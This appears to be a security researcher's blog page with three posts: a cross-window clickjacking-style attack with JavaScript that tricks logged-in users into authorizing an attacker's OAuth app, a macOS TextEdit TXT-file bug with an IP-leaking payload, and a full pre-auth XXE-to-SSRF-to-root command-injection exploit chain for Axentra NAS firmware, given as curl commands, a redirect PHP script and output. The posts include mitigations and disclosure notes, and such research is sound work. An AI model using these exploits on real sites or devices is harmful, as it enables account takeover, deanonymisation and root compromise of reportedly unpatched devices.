Cross Window Forgery: A Web Attack Vector

10:30 AM

By combining two seemingly unrelated browser features, an attacker can trick an unsuspecting user into performing actions on a different website with considerable user interaction. Let's delve into the technical details of this web attack vector. .

Attack Methodology:


To execute this attack, a target user must visit an attacker-controlled website and engage in minimal user interaction. The attacker employs various methods for successful exploitation of this vector, including the victim pressing Enter/space key or holding down the enter/space key while on the attacker's website. A more intricate approach involves the target user double-clicking on the attacker's website through popups and pop-unders in a technique I call the sandwich method. There are also a few ideas around avenues other than either methods that exploit this behavior, and I am excited to see how the security community might evolve this. I want to give shout out to @Qab for improving some of the techniques here. 


How does the vulnerability work?

In HTML, an "ID" attribute can be assigned to an HTML tag, serving as a reference. This attribute can also be utilized in the URL Fragment. For instance, if a webpage has an HTML tag similar to the following
<input type="submit" id="important_button" onclick=dosomething()>,

the button can be preselected by navigating to the URL victim.com/page#important_button. If a user navigates to such a URL and presses Enter or Space key, the browser automatically clicks on the newly focused ID attribute, triggering associated action on the website.

So how is this behavior exploitable?
Vector 1: Pressing/Holding Enter/Space Key on Attacker website


Using new windows that are very small, we can open the target page with a sensitive button in a new window with its sensitive button's ID referenced in the URL Fragment. The attacker can instruct the target user to hold Enter or space key, tricking them into interacting with unintended elements on the target website.

While testing this around in the wild on websites like Coinbase and Yahoo, I found that this can lead to an account takeover if a victim that is logged into either site goes to an attacker website and holds the Enter/Space key. This is possible because both sites allow a potential attacker to create an OAuth application with wide scope to access their API, and they both set a static and / or predictable “ID” value to the “Allow/Authorize” button that is used to authorize the application into the victim's account.

To pull off the attack, the attacker will prepare a website that will open the attacker’s malicious OAuth authorization prompt URL in a new window when the target user holds Enter key or another gesture that causes affirmation (like a mouse click).




The opened window preferably stays as a very small window in the corner of the screen or hidden using pop-under tricks so the victim doesn’t realize they have interacted with a different site. Here is a simple example: 


function attack(){
    //open new window with smallest possible height and width for a window
    var win = window.open('https://target.com/oauth/allow?appId=attackerApp#allow-button','a','width=1,heght=1');
   //attempt to resize the window to even smaller size (works better for Safari and IE/Edge/Opera)
    win.resizeTo(1, 1);
   //sleight of hand to move the new window to the edge of the screen so it doesn't capture the eye.
    win.moveTo(4000, 4000);
  //close the new window as fast as possible to hide what happened
    //(the faster the page loads, the faster the window can close) 
    setTimeout(()=>{win.close()},1290);
   //show target user a message their expected action is complete
    setTimeout(()=>{document.getElementById('div').innerText = "Cookies approved! welcome to our site!";},1500);
    //setTimeout(()=>{location.reload();},4000);
}
//when target presses and holds Enter/Space key launch the attack
window.onkeypress=e=>{
    attack();
}

The above simplifies the understanding of the attack process. Various techniques can be employed to reduce the attack's detectability and dramatically improve the likelihood of success. For example the attack appears less suspicious when a target doesn't need to hold their key for more than approximately 1 second. The effectiveness relies on how quickly we can close the target window, a factor influenced by the speed at which the target page loads. The accompanying video demonstrates the code in action. Authorizing malicious attacker app into a target user's Yahoo account (Chrome):

Authorizing malicious attacker app into a target user's PayPal account (Safari):

Vector 2: The Sandwich Technique / Double-clickjacking


An attacker website creates a sandwich-like scenario by opening two windows in sequence. The attacker's website occupies the top window, while the target website, with sensitive fragment in URL, sits in the middle. The attacker then prompts the target user to "Double click" on their website. However, upon the first click, the top window closes, tricking the second click into landing on the sensitive button of the target website.



Below you will find the code to perform this attack
1: index.html


2: click.html

Authorizing malicious attacker app into a target user's account 2 (Chrome):

One downside of the above technique is its reliance on the target user permitting pop-ups from the attacker website. Opening multiple pop-ups necessitates permission, but there's a workaround if we utilize just one pop-up window. In this method, the attacker's website opens a new window to another page it controls. Through window.opener(), the attacker page on the new window alters the opener window's location to the target page. Then, the top window prompts for a "Double click," strategically placed to ensure the second click lands on the target website. Here's how it can be executed. It looks like this:


code on the tab that opens can look like this:


Authorizing malicious attacker app into a target user's account 3 (Chrome):

Attack Improvement ideas for key press vector: 

Prerendering: Using the <link rel="prerender" href="https://example.com/content/to/prerender"> tag, an attacker website can instruct a browser to prefetch and render the target page in the background before initiating an attack. This significantly accelerates the loading process of the target page in a new window.


Prefetching: Leveraging <link rel="prefetch" href="https://example.com/content/to/prerender">, an attacker page can notably boost the response time of the target page. Prefetch, a new browser feature, speeds up webpage load times by performing DNS resolutions before a link is opened or clicked. However, similar to prerender, prefetch requires an absolute URL to function. Unfortunately, if the final URL of the OAuth request is unknown due to multiple redirection, prefetching becomes impractical.


Caching Sub-Resources: Sub-resources of a page loaded through window.open() are cached by the browser, resulting in faster loading when opened in a new window. This allows the attacker to open the target page in a new hidden window, close it, and then reload it with the desired preselected fragment. This strategy significantly accelerates page loading as the newly opened window retrieves the target page's sub-resources from the cache.


Pop-unders: Pop-unders, often exploited by tracking and adware websites, involve displaying ads in a window hidden behind the main window. Although browser vendors actively address known methods of creating pop-unders, they are not deemed security vulnerabilities. Pop-unders become valuable when combined with this attack vector. By creating a pop-under with the desired URL fragment, the attacker can prompt the victim to "double click" on what seems like a safe page. As the victim clicks, the focus shifts to the pop-under hidden behind their main window. By the second click in the double-click sequence, the victim interacts with the target page's button through the URL fragment. Notably, this trick does not require the victim to hold the "Enter" key; instead, it relies on double-clicking on the attacker-controlled website.


Forced Caching: In instances where forced caching is possible across origins, an attacker can compel the victim's browser to cache the target page before opening it in a new window. This dramatically reduces load time as the target page is loaded from the cache rather than the internet.


Safari Window Tricks: Browsers like Safari and Opera, when opened with a new window of 1x1 width and height, do not display the URL bar or title of a window. This can be paired with prompts like "Allow cookies"/"Allow Javascript" on the attacker's website to convince the victim that they haven't interacted with a different origin. In scenarios with slower prompts, this window may appear for less than 1 seconds, creating uncertainty of what might've happened, especially if the victim hasn't interacted with OAuth before.



Attack Limitations: 

Performing the attack becomes challenging under certain conditions, such as when the target page experiences slow loading, involves redirects, utilizes dynamically generated URLs, or has an unpredictable final URL. To address these challenges, current solutions involve using preload, prefetch, or pop-unders to load the page before initiating the attack. However, if the final URL is unpredictable or includes redirects, the use of preload or prefetch may not be feasible.

Known Mitigations:
1. The easiest way to mitigate this is by randomizing ID attributes so they can't be guessed cross origin. So, an example of this would be renaming the ID "allow" to "allow234b" where 234b is a dynamically generated value either from the server or client unique for that particular user and can't be predicted by an attacker. You might observe Facebook doing the same thing regarding these buttons.
2. Another way to mitigate this is by removing ID attributes from important buttons and actively moderating for abuse. This is another mitigation technique implemented by Coinbase and Dropbox. 3. For the double click vector, requiring a mouse gesture before enabling a button or waiting few ms to activate a button is one way to mitigate the vector.

FAQ Section:


Q: Is this considered a browser bug?

A: No, it's not. Both my opinion and the stance of browser vendors align on this. It's an intended behavior of browsers, and browser vendors are aware of it. Currently I am not aware of any plans to change it as it is not considered a browser bug.

Q: If I want to fix this, what do I do?

A: To address this issue, consider adding or using unpredictable and hard-to-guess values for the "id" attribute. Alternatively, you may want to explore using the "name" attribute.

Q: Can I randomize the ID?

A: While randomizing the "id" attribute can enhance security, be cautious. Previous research by Gareth Hayes has demonstrated a method for leaking "id" attributes cross-domain. Unless the "id" value is sufficient entropy, there might be a risk of brute-forcing across sites, especially if the target site lacks iframe protection using X-Frame-Options.

Q: Who is vulnerable?
If your web application uses ID attribute to reference to a sensitive state changing action, you might be vulnerable.
Q: Can popup blockers address this vulnerability class?

No, the "pop-ups" occur after a user performs a gesture, such as clicking or pressing a key while on an attacker's website. Popup blockers in all modes still permit new windows to open following such user-initiated events.



This man thought opening a TXT file is fine, he thought wrong. macOS CVE-2019-8761

4:22 AM

CVE-2019-8761 is an interesting macOS bug I found that lets attackers execute HTML within a TXT file, leak files, and do all sorts of other funky things when a TXT file is opened.


This research originated when I realized the default text reader on OSX, TextEdit is used to open files with TXT extension by default. On the interface of TextEdit, it looked like you can do basic customization to your text (you can turn text bold, italic, change color etc...), so I was wondering how a TXT file was storing and parsing this information. It seems it uses RTF format instead of TXT if we add customizations to the text.


A TXT file is a very interesting attack vector in my opinion, because of its innocent nature that carries nothing but text. however, we have previously seen memory corruption bugs leading to RCE by Tavis Ormandy in Microsoft Notepad. TXT files are also assumed by anti-virus software, firewalls, and even Mac's own Gatekeeper as safe downloads that can't possibly be malicious. 


After some quick back and forth testing between files, I quickly realized that TextEdit can be tricked into thinking the file opened is an RTF-HTML file even when the file extension is TXT. The ability to inject HTML into a TXT file obviously opened lots of potential attack vectors.


If a .TXT file started with the following bytes:


<!DOCTYPE HTML><html><head></head><body>


It seems TextEdit for some reason thought it should parse the HTML even while the file format was TXT. So we can inject a bunch of limited HTML into a text file, now what?


Bypassing Quarantine/Gatekeeper and Leaking IP address.


One of the first bugs I discovered using this showed me that Gatekeeper doesn’t quarantine TXT files even if they were downloaded from a suspicious website. For example, I found a TXT file force-downloaded from Tor browser, when opened can bypass Gatekeeper and leak the real IP address of the victim without any warning. This wasn’t very straightforward though.


I first tried to see how much of the HTML is parsed and interpreted by TextEdit. It seems there was very limited parsing and many of the interesting HTML attributes were not available. I then went ahead and got the awesome Cure53's project HTTPLeaks, which is a wonderful file to discover if an HTML/CSS attribute leaks data to a third party. 


I replaced all the URLs in the HTTPLeaks attributes with a server I control and saved it as TXT to see if the TXT file made a request to my server. It didn't.  After some fuzzing, I found two interesting CSS and HTML attributes that got some sort of weird response from local files.


while fuzzing different schemes, I found out the CSS property 

<style> @import { "url "} </style>


was allowed to load local CSS files. However, the only scheme that worked was file:/// and not even http/s://. While this means we can't make external requests, it also means we can hit or open other files that are stored locally on the device. This creates a very obvious DOS vulnerability that acts like a blind SSRF by writing a recursive file inclusion or, reading files with infinite data streams like /dev/urandom, /dev/zero. a 2kb text file can crash your mac. COOL, but completely useless.


After digging into OSX internals, I came across the AutoMount feature that lets file:/// urls make remote requests. AutoFS is a program on OSX that uses the kernel to make a mounting request to a drive. Automount can also make remote requests to an external drive. Doing 'ls /net/EXAMPLE.com' forces OSX send a remote request to EXAMPLE.com 


While they did a good job blocking TextEdit from making external requests, this was the one thing they forgot when they allowed file:/// scheme, on OSX file:///net/11.22.33.44/a.css connects to 11.22.33.44.


When the victim  opens a .TXT file with the following contents


<!DOCTYPE HTML>

<html><head></head><body><style>@import{ "file:///net/MYSERVER.COM/a.css"} </style>

I know where you are...</body></html>


This is what they see:

But on the attacker side we get a hit:

 

So I will know when you opened the TXT file I sent you. Not only that, but apparently AutoMount uses the kernel to make TCP connections so even if you were using a proxy, it was leaking your real IP address. I found another browser trick that lets force-downloaded TXT files to be opened without user interaction or warning (since Gatekeeper doesn't exist for TXT) leaking IP straight out of Tor browser.

Leaking IP Addresses and knowing when your TXT file is open is cool n all, but what else can we do? It seems a lot worse! 


Stealing Local Files using Dangling Markup


Interestingly the only other HTML attribute that loaded local files was <iframedoc> 


It turns out an attacker can embed local files using the <iframedoc src="file:///etc/passwd"> and look at their contents within the TXT file. 

I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts. While we can embed/open local files, we still can't execute javascript so it might seem like there is no way to send them out at first glance. But this is where dangling markup comes in.

Dangling Markup attacks are nice browser tricks that serve as scriptless attacks to leak data when dynamic scripting is disabled. For example, they can often be used to steal anti-CSRF tokens in cases where CSP stops javascript execution. 


By combining the <style> CSS attribute with the <iframedoc> attribute, an attacker can first include an unclosed style tag,  embed the contents of the file they want to steal and then leak the content as dangling parameters to their evil site as soon as the file is open.


This vulnerability was reported to Apple in Q4 2019, and might have got patched somewhere in 2019 - Q1 2020. Given how simple it is to exploit, I’d give it a high CVSS.


Thank you for reading :)


Pre-auth RCE via XXE & SSRF on NetGear Stora, SeaGate Home, and Medion LifeCloud NAS

6:09 AM

TL,DR; not a while ago, a couple friends and I decided we wanted to  explore the current security state of popular Network Attached Storage (NAS) devices. We decided to download a bunch of popular NAS firmwares and started looking into them.

The first one we picked up was called Axentra. While dissecting the firmware, it became clear to us the target is extremely widespread. many popular NAS hardware manufactures including NetGear, SeaGate and Meidon use the Axentra framework by default . This meant any preauth bug in Axentra is exploitable across multiple devices. Looking on shodan, almost ~2 million vulnerable devices can be found. 

This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.

About Axentra.

Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It's used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.

Firmware Analysis.  
After extracting the firmware using binwalk, the backend source were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn't take long.
    
Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line 'register_globals=on', this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.


As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in /var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at /www/html/classes/REST/services/aggregator in the filesystem and /api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.

The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn't bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).

JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
    
if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator


The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

classes/REST/AxAbstractRESTService.php

line 25-30:
function loadResourceClass($resourceName) {
            
$resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
            
require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
            
return $resourceClassName;
        
}
    
}

The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let's take a look at the code.

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
    
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
    
if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
                
AxRecoverableErrorException;
                
throw new ( null, 3 );
            
}
    
Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called
libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.

curl command with output:

Command:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml

Output:

<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%                     

which produced the following on out listening server:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#


Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don't work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.

Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.
    

The requests to this daemon are sent using xml format and the file is located in /var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequest to send the requests. The systemProxyRequest is located in the same file and the code is given below.

/var/www/html/classes/AxServerProxy.php:

line 1564-1688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = '') {
            
$Proc = true;
            
$host = '127.0.0.1';
            
$port = 2000;
            
$fp = fsockopen( $host, $port, $errno, $errstr );
            
if (!$fp) {
                
AxRecoverableErrorException;
                
throw new ( 'Could not connect to sp server', 4 );
            
}
            
if ($Proc) {
                
unset( $root );
                
DOMDocument;
                
$doc = new ( '1.0' );
                
$root = $doc->createElement( 'proxy_request' );
                
$cmdNode = $doc->createElement( 'command_name' );
                
$cmdNode->appendChild( $doc->createTextNode( $command ) );
                
$root->appendChild( $cmdNode );
                
$opNode = $doc->createElement( 'operation_name' );
                
$opNode->appendChild( $doc->createTextNode( $operation ) );
                
$root->appendChild( $opNode );

       …

                        
if ($reqData[0] == '<') {
                            
if (substr( $reqData, 0, 5 ) == '<?xml') {
                                
$reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
                            
}

                            
DOMDocument;
                            
$reqDoc = new (  );
                            
$reqData = str_replace( '', '', $reqData );
                            
$reqDoc->loadXML( $reqData );
                            
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
                            
$dNode->appendChild( $mNewNode );
                        
}
….
                    
$root->appendChild( $dNode );
                
}
                
if ($root) {
                    
$doc->appendChild( $root );
                    
fputs( $fp, $doc->saveXML(  ) . '' );
                
}

                
$Resp = '';
                
stream_set_timeout( $fp, 120 );
                
while (!feof( $fp )) {
                    
$Resp .= fread( $fp, 1024 );
                    
$info = stream_get_meta_data( $fp );

                    
if ($info['timed_out']) {
                        
return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
                    
}
                
}

As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at /sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.

in function sub_A810:

This function receives the data from the socket as an argument (a2) and parses it.

JUICE B:
signed int __fastcall sub_A810(int a1, const char **a2) line 52:

    
v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)
    
The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons "feature" to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.


Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages from AxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one's among you can explore the daemon using the hints we gave above.

curl command and response:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>' http://127.0.0.1:2000/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes

<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

strace command and output

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2511] +++ exited with 0 +++
[pid  2510] <... execve resumed> )      = 0
[pid  2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid  2514] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid  2515] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid  2518] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid  2519] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.

curl command and output:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">`echo pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/

<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

Strace output:

[pid  2550] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2551] +++ exited with 0 +++
[pid  2550] <... execve resumed> )      = 0
[pid  2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>


If you take a close look of the output, it can be seen that "echo pwnEd" command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>' http://127.0.0.1:2000/



Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.

redir.php:

<?php
if(isset($_GET['red']))
{
    
header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
}
?>

Then we ran this on our server the commands we used and the final
output is given below.

curl command and output:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/redir.php?red=1"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%

root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1


As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""
    
The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.

curl command and output:

curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)


Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. I would like to thank WSP and SD for encouraging this research. 


Timeline

This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple root RCE vulnerabilities that ultimately impacted millions of devices. The full research is published on WizCase blog here. Unfortunately, Axentra, most of the affected vendors, and even WD, chose not to respond. Some NAS have responded saying there will NOT BE any patches for the vulnerabilities because Axentra is unreachable.